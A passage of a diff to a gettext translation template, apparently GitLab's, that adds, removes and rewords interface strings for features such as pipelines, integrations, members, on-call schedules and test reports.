+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
